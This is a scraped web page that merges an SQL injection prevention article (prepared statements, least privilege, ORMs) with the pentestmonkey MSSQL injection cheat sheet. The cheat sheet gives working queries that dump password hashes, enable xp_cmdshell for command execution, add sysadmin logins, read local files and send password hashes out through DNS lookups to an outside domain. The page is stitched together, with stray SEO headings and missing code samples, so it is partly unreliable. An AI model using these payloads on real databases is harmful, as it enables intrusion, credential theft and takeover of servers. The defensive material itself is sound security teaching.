SQL injection cheat sheet. This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks. String concatenation. You can concatenate together multiple strings to make a single string. View sqlinjectioncheatsheet.pdf from CS 101 at University of Miami. SQL INJECTION CHEAT SHEET www.rapid7.com Common SQL Injection Commands for Backend Databases MS-SQL Grab. This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL.
SQL injection is one of the most dangerous vulnerabilities for online applications. It occurs when a user adds untrusted data to a database query. For instance, when filling in a web form. If SQL injection is possible, smart attackers can create user input to steal valuable data, bypass authentication, or corrupt the records in your database.
There are different types of SQL injection attacks, but in general, they all have a similar cause. The untrusted data that the user enters is concatenated with the query string. Therefore the user’s input can alter the query’s original intent.
SQL injection A SQL injection attack consists of insertion or “injection” of a SQL query via the input data from the client to the application. Attempting to manipulate SQL queries may have goals including: Information Leakage Disclosure of stored data Manipulation of stored data Bypassing authorisation controls Summary CheatSheet MSSQL Injection CheatSheet MySQL Injection CheatSheet. SQL injection is one of the most dangerous vulnerabilities for online applications. It occurs when a user adds untrusted data to a database query. For instance, when filling in a web form. If SQL injection is possible, smart attackers can create user input to steal valuable data, bypass authentication, or corrupt the records in your database.
Some SQL injection examples are:
- Adding a boolean to a where clause that is always true like
' OR 1=1 - Escaping part of query by entering line comments
-- - Ending the initial query and start a new query
'; DROP TABLE USERS; - Connecting data from multiple tables by using
UNION
In this cheatsheet, I will address eight best practices that every application programmer can use to prevent SQL injection attacks. So let’s get started to make your application SQLi proof.
- Do not rely on client-side input validation
- Use a database user with restricted privileges
- Use prepared statements and query parameterization
- Scan your code for SQL injection vulnerabilities
- Use an ORM layer
- Don’t rely on blocklisting
- Perform input validation
- Be careful with stored procedures
1. Do not rely on client-side input validation.
Client-side input validation is great. With client-side input validation, you can already prevent that invalid will be sent to your system logic. However, this unfortunately only works for users that do not have bad intentions and want to use the system as designed. To give the user direct feedback that a particular value is not valid is super helpful and user-friendly. Therefore you should be using client-side validation to help your user experience.
When looking at SQL injection, it is not a method you should rely on. You can remove client-side validation by altering some javascript code loaded in your browser. Besides, it is pretty easy to do a basic HTTP call to the backend in a client-server architecture with a parameter that causes a SQL injection. Either by using tools like postman or old-school curl commands.
You should validate on the server-side, ideally as close to the source as possible. In this case where you create the SQL query. Everything a client sends you should be considered potentially harmful. So relying on client-side validation for SQL injection, for that matter, is a terrible idea.
2. Use a database user with restricted privileges
There are different types of SQL injection attacks, as mentioned before. Some of them are more harmful than others. Think about it, say my SQL query is something like 'SELECT * FROM USER WHERE USERID = ' + userid +''. The injection ' foo' OR '1'='1 ' will provide all the users and is already harmful. However, ' '; UPDATE message SET password = 'EVIL ” will cause even more problems because the intruder now changed all the entries.
When you create a database user for your application, you have to think about that user’s privileges. Does the application need the ability to read, write and update all the databases? How about truncating or dropping tables? If you limit your application’s privileges on your database, you can minimize SQL injection’s impact. It is probably wise not to have a single database user for your application but make multiple database users and connect them to specific application roles. Security issues are most likely a chain effect, so you should be aware of every link in the chain to prevent heavy damage.
3. Use prepared statements and query parameterization
A lot of languages have built-in features available that help you prevent SQL injection. When writing SQL queries, you can use something like a prepared statement to compile the query. With a prepared statement, we can perform query parameterization. Query parameterization is a technique to create SQL statements dynamically. You create the base query with some placeholders and safely attach the user-given parameters to these placeholders.
When using a real prepared statement and parameterized queries, the database itself actually takes care of the escaping. First, it builds the query execution plan based on the query string with placeholders. In the second step, the (untrusted) parameters are sent to the database. The query plan is already created, so the parameters do not influence that anymore. This prevents injection altogether.
Java example:
Python example with MySql connector:
JavaScript Example with mysql2:
There are multiple ways to do this in JavaScript with, for instance, a MySql database. Be aware when using .query(), you do not perform an actual prepared statement. In this case, you parameter substitution is handled on the client-side. So, you are emulating a prepared statement. To make a real prepared statement on the database, you should use the .execute() function.
4. Scan your code for SQL injection vulnerabilities
Creating custom code is probably easy. However, mistakes are easily made. To check your code, you might have processes in place like code review and pair programming. However, is the person that reviews your code of pairs with you security savvy. Can that person spot a SQL injection bug in your code? Regardless, it would be nice to automatically examine your custom code for possible security vulnerabilities like SQL injection.
With a SAST (Static Application Security Testing) tool like Snyk Code you can automatically inspect your code for Security vulnerabilities like SQL injection. This can be easily automated in your SDLC by connecting your Git repository to Snyk for instance.
5. Use an ORM layer
The use of an object-relational mapping (ORM) layer is also something you can consider. An ORM layer transforms the data from the database into objects and vise-versa. Using an ORM library reduces explicit SQL queries and, therefore, much less vulnerable to SQL injection.
Some great examples of existing ORM libraries are Hibernate for Java and Entity Framework for C#. These languages’ strongly typed nature makes it generally possible to generate the mapping between objects and database tables. This way, you don’t even need to get involved in any SQL queries yourself.
Nevertheless, the problem here exists if you need to create custom queries. Hibernate for Java has its own Hibernate Query Language (HQL). When compiling HQL queries, you should be aware of injection again and use the createQuery() function that works similarly to a prepared statement.
For JavaScript, there are also well-known ORM libraries available like sequelize. With sequelize, you can define how values map to specific types in the database. But let’s face it,In the end an ORM library needs to translate the logic back to SQL statements. So, we trust that these libraries implemented proper escaping of the parameters.
To be sure that your ORM library doesn’t contain SQL injection problems, you should scan them for known vulnerabilities. Using the wrong, outdated version of sequelize or hibernate will still get you into trouble. Using Snyk Open Source to check your project will prevent you from hidden SQL injection in your libraries and many other problems.
Use Snyk for free
You can use Snyk Open Source right away. You only need to sign up for a FREE account.
6. Don’t rely on blocklisting
Mysql Sql Cheat Sheet
I believe this is already familiar to a lot of people, but I will say it once again. Please don’t implement blocklists for your parameters. The blocklist approach sets up a collection of rules that define vulnerable input. If the input meets these rules, then the request gets blocked. However, if the ruling is too weak, then a malicious entry will still be effective. If it is too strong, it will block a valid entry.
We, for instance, block every request that contains the word OR. This might be a reasonable rule, but it turns out that “Or” is a very common Israeli first name in practice. That means that a bunch of my co-workers will be blocked when inserting their names. The same holds for a single quote '. Countless names are containing that character. Think about O’Neill and O’Donnell. But also first names like Dont’a, for example.
7. Perform input validation
Yes, you should do input validation, always! Although prepared statements with query parameterization are the best defense against SQL injection, always create multiple defense layers. Like having limited privileges for a database user, input validation is a great practice to lower your application’s risk in general.
Also, there are situations where prepared statements are not available. Some languages don’t support this mechanism, or older database systems do not allow you to supply the user input as parameters. Input validation is an acceptable alternative in these cases.
Make sure that input validation relies on allow-listing and not blocklisting, as described earlier. Create a rule that describes all allowed patterns with, for instance, a regular expression, or use a well-maintained library for this. Combine this with prepared statements and query parameterization, and you will have solid defense altogether.
8. Be careful with stored procedures
Many people believe that working with stored procedures is a good way to prevent SQL injection. This is not always the case. Similar to SQL queries created in your application, a stored procedure can also be maliciously injected.
Like SQL queries in your application, you should parameterize the queries in your stored procedure rather than concatenate the parameters. SQL injection in a stored procedure is quite easy to prevent.
So don’t do this in MySQL:
Rather use parameterized queries in your stored procedures:
As shown above, the same rules apply to stored procedures as to your application’s code. The implementation of stored procedures differs between databases. Ensure you know how to implement stored procedures for your database and be mindful about injection there as well. Although I believe that it would be better to have all logic in your application, a stored procedure can be a reasonable solution if prepared statements are not available in the language you develop with.
Some useful syntax reminders for SQL Injection into MSSQL databases…
This post is part of a series of SQL Injection Cheat Sheets. In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.
The complete list of SQL Injection Cheat Sheets I’m working is:
I’m not planning to write one for MS Access, but there’s a great MS Access Cheat Sheet here.
Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.
| Version | SELECT @@version |
| Comments | SELECT 1 — comment SELECT /*comment*/1 |
| Current User | SELECT user_name(); SELECT system_user; SELECT user; SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID |
| List Users | SELECT name FROM master..syslogins |
| List Password Hashes | SELECT name, password FROM master..sysxlogins — priv, mssql 2000; SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins — priv, mssql 2000. Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer. SELECT name, password_hash FROM master.sys.sql_logins — priv, mssql 2005; SELECT name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins — priv, mssql 2005 |
| Password Cracker | MSSQL 2000 and 2005 Hashes are both SHA1-based. phrasen|drescher can crack these. |
| List Privileges | – current privs on a particular object in 2005, 2008 SELECT permission_name FROM master..fn_my_permissions(null, ‘DATABASE’); — current database SELECT permission_name FROM master..fn_my_permissions(null, ‘SERVER’); — current server SELECT permission_name FROM master..fn_my_permissions(‘master..syslogins’, ‘OBJECT’); –permissions on a table SELECT permission_name FROM master..fn_my_permissions(‘sa’, ‘USER’); –permissions on a user– current privs in 2005, 2008 – who has a particular priv? 2005, 2008 |
| List DBA Accounts | SELECT is_srvrolemember(‘sysadmin’); — is your account a sysadmin? returns 1 for true, 0 for false, NULL for invalid role. Also try ‘bulkadmin’, ‘systemadmin’ and other values from the documentation SELECT is_srvrolemember(‘sysadmin’, ‘sa’); — is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username. SELECT name FROM master..syslogins WHERE sysadmin = ’1′ — tested on 2005 |
| Current Database | SELECT DB_NAME() |
| List Databases | SELECT name FROM master..sysdatabases; SELECT DB_NAME(N); — for N = 0, 1, 2, … |
| List Columns | SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable |
| List Tables | SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’; SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable |
| Find Tables From Column Name | – NB: This example works only for the current database. If you wan’t to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects). SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = ‘U’ AND syscolumns.name LIKE ‘%PASSWORD%’ — this lists table, column for each column containing the word ‘password’ |
| Select Nth Row | SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC — gets 9th row |
| Select Nth Char | SELECT substring(‘abcd’, 3, 1) — returns c |
| Bitwise AND | SELECT 6 & 2 — returns 2 SELECT 6 & 1 — returns 0 |
| ASCII Value -> Char | SELECT char(0×41) — returns A |
| Char -> ASCII Value | SELECT ascii(‘A’) – returns 65 |
| Casting | SELECT CAST(’1′ as int); SELECT CAST(1 as char) |
| String Concatenation | SELECT ‘A’ + ‘B’ – returns AB |
| If Statement | IF (1=1) SELECT 1 ELSE SELECT 2 — returns 1 |
| Case Statement | SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END — returns 1 |
| Avoiding Quotes | SELECT char(65)+char(66) — returns AB |
| Time Delay | WAITFOR DELAY ’0:0:5′ — pause for 5 seconds |
| Make DNS Requests | declare @host varchar(800); select @host = name FROM master..syslogins; exec(‘master..xp_getfiledetails ”’ + @host + ‘c$boot.ini”’); — nonpriv, works on 2000declare @host varchar(800); select @host = name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) + ‘.2.pentestmonkey.net’ from sys.sql_logins; exec(‘xp_fileexist ”’ + @host + ‘c$boot.ini”’); — priv, works on 2005– NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary. – Also check out theDNS tunnel feature of sqlninja |
| Command Execution | EXEC xp_cmdshell ‘net user’; — privOn MSSQL 2005 you may need to reactivate xp_cmdshell first as it’s disabled by default: EXEC sp_configure ‘show advanced options’, 1; — priv RECONFIGURE; — priv EXEC sp_configure ‘xp_cmdshell’, 1; — priv RECONFIGURE; — priv |
| Local File Access | CREATE TABLE mydata (line varchar(8000)); BULK INSERT mydata FROM ‘c:boot.ini’; DROP TABLE mydata; |
| Hostname, IP Address | SELECT HOST_NAME() |
| Create Users | EXEC sp_addlogin ‘user’, ‘pass’; — priv |
| Drop Users | EXEC sp_droplogin ‘user’; — priv |
| Make User DBA | EXEC master.dbo.sp_addsrvrolemember ‘user’, ‘sysadmin; — priv |
| Location of DB files | EXEC sp_helpdb master; –location of master.mdf EXEC sp_helpdb pubs; –location of pubs.mdf |
| Default/System Databases | northwind model msdb pubs — not on sql server 2005 tempdb |
Misc Tips
In no particular order, here are some suggestions from pentestmonkey readers.
From Dan Crowley:
A way to extract data via SQLi with a MySQL backend
From Jeremy Bae:
Tip about sp_helpdb – included in table above.
From Trip:
List DBAs (included in table above now):
select name from master..syslogins where sysadmin = ’1′
From Daniele Costa:
Tips on using fn_my_permissions in 2005, 2008 – included in table above.
Also:
To check permissions on multiple database you will have to use the following pattern.
Mysql Sqli Cheat Sheet Pdf
USE [DBNAME]; select permission_name FROM fn_my_permissions (NULL, ‘DATABASE’)
Note also that in case of using this data with a UNION query a collation error could occur.
In this case a simple trick is to use the following syntax:
select permission_name collate database_default FROM fn_my_permissions (NULL, ‘DATABASE’)
Tags: cheatsheet, mssql, sqlinjection
Posted in SQL Injection
Mysql Sqli Cheat Sheet Free